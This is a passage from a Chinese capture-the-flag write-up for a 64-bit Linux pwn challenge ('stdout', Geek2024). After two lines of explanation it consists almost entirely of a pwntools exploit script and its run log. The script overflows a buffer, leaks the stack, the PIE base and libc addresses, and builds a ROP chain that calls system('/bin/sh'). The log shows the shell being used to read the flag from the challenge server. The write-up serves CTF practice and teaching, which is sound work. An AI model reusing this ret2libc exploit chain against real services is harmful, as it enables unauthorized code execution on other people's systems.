的话,由于寄存器的值未改变,同样可以触发write(1,stack,0x60)
可以泄露栈上一大堆信息,这样函数的基地址就有了,PIE当然就绕过了。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
#IO
io = process("./pwn")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
#init
gift_offset = 0x50
vuln_offset = 0x40
start_or = b'\x29'
buf_offset = 0x448
base_offset = 0x1382
write_offset = 0x1378
rdi_offset = 0x1403
rsi_offset = 0x1401
ret_offset = 0x101a
puts_offset = elf.got['puts']
beforewrite = b'\x78'
#bypass stdout
log.info("Trying to leak Stackbase...")
padding = b'A' * gift_offset
io.send(padding)
paypass = cyclic(vuln_offset + 0x8) + start_or
log.info("Trying to fill buffer with the evil data...")
for i in range(102):
io.sendafter(b'???,out??', paypass)
io.recvuntil(padding)
stack = u64(io.recv(6).ljust(8, b'\x00')) - 0x448 + 0x50
log.success(f"Success to bypass.The Stackbase ==> {hex(stack)}")
#leak base
padding = b'A' * vuln_offset
log.info("Trying to leak base...")
hijack = padding + p64(stack) + beforewrite
io.send(hijack)
io.recvuntil(padding)
io.recv(8)
base = u64(io.recv(6).ljust(8, b'\x00')) - base_offset
log.success(f"Success to leak base ==> {hex(base)}")
#leak libc
pop_rdi = rdi_offset + base
rsi_r15 = rsi_offset + base
puts_got = puts_offset + base
ret_addr = ret_offset + base
write_addr = write_offset + base
log.info("Trying to leak libc...")
payleak = cyclic(vuln_offset) + p64(write_addr) + start_or
log.info("Trying to create write...")
io.send(payleak)
io.sendafter(b'???,out??\n', payleak)
io.sendafter(b'???,out??\n', payleak)
log.success("Success to create a 'write()'")
payleak = cyclic(vuln_offset + 0x8) + p64(rsi_r15) + p64(puts_got) + p64(0)
io.sendafter(b'???,out??\n', payleak)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = puts_addr - libc.sym['puts']
log.success(f"Success to leak libc ==> {hex(libcbase)}")
#get shell
log.info("Trying to Getshell!")
system_addr = libcbase + libc.sym['system']
binsh_addr = libcbase + libc.search(b'/bin/sh').__next__()
payload = cyclic(vuln_offset) + p64(system_addr) + start_or
payshell = cyclic(vuln_offset + 0x8) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.sendafter(b'???,out??\n', payshell)
log.success("Success to GetShell!!!!")
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 24067: Done
[*] '/ctf/work/Geek2024/Pwn/stdout/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/Geek2024/Pwn/stdout/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Trying to leak Stackbase...
[*] Trying to fill buffer with the evil data...
[+] Success to bypass.The Stackbase ==> 0x7ffd1c573158
[*] Trying to leak base...
[+] Success to leak base ==> 0x5600c0a3c000
[*] Trying to leak libc...
[*] Trying to create write...
[+] Success to create a 'write()'
[+] Success to leak libc ==> 0x7f2b124ea000
[*] Trying to Getshell!
[+] Success to GetShell!!!!
[*] Switching to interactive mode
$ cat flag
SYC{bda97cf5-b043-4cc0-a63a-47ca750f0b93}